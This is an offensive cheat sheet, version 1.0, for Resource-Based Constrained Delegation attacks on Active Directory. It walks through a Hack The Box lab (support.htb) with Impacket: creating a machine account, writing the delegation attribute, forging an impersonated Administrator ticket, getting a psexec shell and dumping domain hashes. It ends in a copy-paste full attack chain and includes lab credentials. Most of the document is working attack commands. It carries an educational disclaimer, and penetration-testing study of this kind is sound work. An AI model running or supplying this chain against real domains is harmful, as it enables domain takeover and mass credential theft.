RBCD Attack

Cheat Sheet

Resource-Based Constrained Delegation

Active Directory Privilege Escalation

Linux-Focused Methodology

✂ Using Impacket Toolkit

☛ **For Educational Purposes Only** ☛

✦ December 2, 2025

❖ Version 1.0

Linux-Focused Methodology

Contents

1 ✎ Introduction

Resource-Based Constrained Delegation (RBCD) is a Windows feature introduced in Server 2012 that allows services to be configured to accept delegated credentials from specific accounts. When misconfigured, this can be exploited to escalate privileges to Domain Admin.

☆ Info

What is RBCD?
Unlike traditional constrained delegation (configured on the *delegating* account), RBCD is configured on the *target* resource. The `msDS-AllowedToActOnBehalfOfOtherIdentity` attribute specifies which accounts can delegate to the target.

1.1 Attack Prerequisites

✓ **Write privileges** over a computer object (GenericAll, GenericWrite, WriteDACL, or WriteProperty on the target's `msDS-AllowedToActOnBehalfOfOtherIdentity`)

✓ **Control over an account with an SPN** (Service Principal Name) — typically a machine account

✓ **MachineAccountQuota > 0** to create a new computer account (default is 10)

☛ Warning

If `ms-DS-MachineAccountQuota` is set to 0, you cannot create new machine accounts. Look for existing accounts you control or compromise one with an SPN.

2 ✂ Tools Required

2.1 Impacket Suite (Linux)

2rpSurfacerpOverlay

rpPine		
`addcomputer.py`	impacket-addcomputer	Create machine accounts
`rbcd.py`	impacket-rbcd	Configure RBCD delegation
`getST.py`	impacket-getST	Request service tickets (S4U)
`psexec.py`	impacket-psexec	Get shell using Kerberos ticket
`secretsdump.py`	impacket-secretsdump	Dump hashes post-exploitation

Table 1: Impacket tools for RBCD attacks

★ Tip

Install Impacket on Kali: `sudo apt install python3-impacket impacket-scripts`

2.2 Windows Tools (Alternative)

✖ Critical

Rubeus from Evil-WinRM sessions often fails with `KDC_ERR_C_PRINCIPAL_UNKNOWN`. **Use Impacket from Linux** for more reliable exploitation.

2rpSurfacerpOverlay	
rpIris	
`PowerMad.ps1`	Create machine accounts via PowerShell
`Rubeus.exe`	Kerberos abuse (S4U, ticket requests)
`PowerView.ps1`	AD enumeration and modification
`StandIn.exe`	Machine account creation alternative

Table 2: Windows tools (less reliable from remote shells)

➤ 3 Attack Methodology

❖ 3.1 Step 0: Enumeration

Before attacking, verify you have the required privileges and the target environment supports RBCD.

✓ Step 0.1 — Check MachineAccountQuota

Query the domain to see if you can create machine accounts.

```
# Using ldapsearch from Linux
ldapsearch -x -H ldap://<DC-IP> \
    -D '<USER>@<DOMAIN>' \
    -w '<PASSWORD>' \
    -b 'DC=<DOMAIN>,DC=<TLD>' \
    '(objectClass=domain)' ms-DS-MachineAccountQuota
```

Listing 1: Check MachineAccountQuota

☆ Info

Default value is **10**. If it returns 0, you cannot create machine accounts and need an alternative approach.

✓ Step 0.2 — Verify Write Privileges

Confirm you have write access to the target computer object.

```
# Use BloodHound to identify GenericAll/GenericWrite paths
# Or check group memberships that grant write access

# Look for groups with special privileges over DC
ldapsearch -x -H ldap://<DC-IP> \
    -D '<USER>@<DOMAIN>' \
    -w '<PASSWORD>' \
    -b 'DC=<DOMAIN>,DC=<TLD>' \
    '(&(objectClass=group)(member=<USER-DN>))'
```

Listing 2: Enumerate privileges with BloodHound or ldapsearch

❖ 3.2 Step 1: Create Machine Account

✓ Step 1 — Add Computer Account

Create a machine account that you control. This account will be used to delegate authentication.

```
impacket-addcomputer \
    -computer-name 'YOURPC$' \
    -computer-pass 'YourPassword123!' \
    -dc-ip <DC-IP> \
    '<DOMAIN>/<USER>:<PASSWORD>'
```

Listing 3: Create machine account with Impacket

Example:

```
impacket-addcomputer \
    -computer-name 'ATTACKER$' \
    -computer-pass 'P@ssw0rd123' \
    -dc-ip 10.10.11.174 \
    'support.htb/support:Ironside47pleasure40Watchful'
```

★ Tip

★ Machine account names must end with `$`. The tool adds it automatically if omitted.

❖ 3.3 Step 2: Configure RBCD Delegation

✓ Step 2 — Write Delegation Attribute

Configure the target computer to trust your machine account for delegation.

```
impacket-rbcd \
    -delegate-to '<TARGET-COMPUTER>$' \
    -delegate-from '<YOUR-COMPUTER>$' \
    -dc-ip <DC-IP> \
    -action write \
    '<DOMAIN>/<USER>:<PASSWORD>'
```

Listing 4: Configure RBCD with Impacket

Example:

```
impacket-rbcd \
    -delegate-to 'DC$' \
    -delegate-from 'ATTACKER$' \
    -dc-ip 10.10.11.174 \
    -action write \
    'support.htb/support:Ironside47pleasure40Watchful'
```

☆ Info

This modifies the `msDS-AllowedToActOnBehalfOfOtherIdentity` attribute on the target, allowing your machine account to impersonate users via S4U2Proxy.

Verify the delegation was set:

```
impacket-rbcd \
    -delegate-to 'DC$' \
    -dc-ip 10.10.11.174 \
    -action read \
    'support.htb/support:Ironside47pleasure40Watchful'
```

Listing 5: Read RBCD configuration

3.4 Step 3: Request Service Ticket

✓ Step 3 — Perform S4U Attack

Use S4U2Self and S4U2Proxy to request a service ticket impersonating a privileged user.

```
impacket-getST \
    -spn 'cifs/<TARGET-FQDN>' \
    -impersonate Administrator \
    -dc-ip <DC-IP> \
    '<DOMAIN>/<YOUR-COMPUTER>$:<COMPUTER-PASSWORD>'
```

Listing 6: Request impersonated service ticket

Example:

```
impacket-getST \
    -spn 'cifs/dc.support.htb' \
    -impersonate Administrator \
    -dc-ip 10.10.11.174 \
    'support.htb/ATTACKER$:P@ssw0rd123'
```

✖ Critical

Common Error: Forgetting the space between `Administrator` and `-dc-ip`!
✗ Wrong: `-impersonate Administrator-dc-ip`
✓ Correct: `-impersonate Administrator -dc-ip`

☛ Warning

Ensure you run this command from a **writable directory**. The ticket file will be saved as `Administrator.ccache` in the current directory.

3.5 Step 4: Use Ticket for Access

✓ Step 4 — Export Ticket & Get Shell

Load the Kerberos ticket and use it to authenticate to the target.

```
# Export the ticket to environment
export KRB5CCNAME=Administrator.ccache

# Get a shell using psexec
impacket-psexec \
    '<DOMAIN>/administrator@<TARGET-FQDN>' \
    -k -no-pass
```

Listing 7: Export ticket and get shell

Example:

```
export KRB5CCNAME=Administrator.ccache

impacket-psexec \
    'support.htb/administrator@dc.support.htb' \
    -k -no-pass
```

★ Tip

Alternative tools you can use with the ticket:

- `impacket-wmiexec` — WMI-based shell
- `impacket-smbexec` — SMB-based shell
- `impacket-secretsdump` — Dump NTDS/SAM hashes
- `evil-winrm -r <realm>` — WinRM with Kerberos

4 Post-Exploitation

Once you have Administrator access, dump credentials for persistence:

```
# Using the Kerberos ticket
export KRB5CCNAME=Administrator.ccache

impacket-secretsdump \
    '<DOMAIN>/administrator@<TARGET-FQDN>' \
    -k -no-pass
```

Listing 8: Dump domain hashes

5 Troubleshooting

2rpSurfacerpOverlay

rpLove	
`KDC_ERR_C_PRINCIPAL_UNKNOWN`	Use Impacket from Linux instead of Rubeus from Windows
`No such file or directory: .ccache`	Run from writable directory; check for typos in command
`Clock skew too great`	Sync time: `sudo ntpdate <DC-IP>`
`RBCD attribute empty after setting`	HTB machine reset; re-run impacket-rbcd command
`KDC_ERR_S_PRINCIPAL_UNKNOWN`	Check /etc/hosts; ensure FQDN resolves correctly
`Access denied`	Verify you have write permissions on target object

Table 3: Common errors and solutions

☛ Warning

HTB Note: Machines reset periodically. If your attack stops working, the machine may have reset. Re-run from Step 1.

6 Required Configuration

6.1 /etc/hosts Entry

Kerberos requires proper DNS resolution. Add entries to `/etc/hosts`:

```
# Add to /etc/hosts
<DC-IP>    <DOMAIN> <DC-HOSTNAME>.<DOMAIN> <DC-HOSTNAME>

# Example:
10.10.11.174    support.htb dc.support.htb dc
```

Listing 9: Required hosts entries

7 Quick Reference

7.1 Full Attack Chain (Copy-Paste Ready)

>_ Complete Attack Commands

```
# Variables - CHANGE THESE
DC_IP="10.10.11.174"
DOMAIN="support.htb"
DC_FQDN="dc.support.htb"
USER="support"
PASS="Ironside47pleasure40Watchful"
COMP_NAME="ATTACKER\$"
COMP_PASS="P@ssw0rd123"

# Step 1: Create machine account
impacket-addcomputer -computer-name "$COMP_NAME" \
    -computer-pass "$COMP_PASS" -dc-ip $DC_IP \
    "$DOMAIN/$USER:$PASS"

# Step 2: Configure RBCD
impacket-rbcd -delegate-to 'DC$' \
    -delegate-from "$COMP_NAME" -dc-ip $DC_IP \
    -action write "$DOMAIN/$USER:$PASS"

# Step 3: Get service ticket
impacket-getST -spn "cifs/$DC_FQDN" \
    -impersonate Administrator -dc-ip $DC_IP \
    "$DOMAIN/$COMP_NAME:$COMP_PASS"

# Step 4: Use ticket
export KRB5CCNAME=Administrator.ccache
impacket-psexec "$DOMAIN/administrator@$DC_FQDN" -k -no-pass
```

8 References

2rpSurfacerpOverlay

rpPine	
Impacket GitHub	https://github.com/fortra/impacket
RBCD Attack Paper	Elad Shamir — "Wagging the Dog"
HackTricks RBCD	https://book.hacktricks.xyz/
BloodHound	https://github.com/BloodHoundAD/BloodHound
ired.team	https://ired.team/offensive-security-experiments/

Table 4: Additional learning resources

☛

This document is for educational purposes only.
Only perform penetration testing on systems you own or have explicit written authorization to test.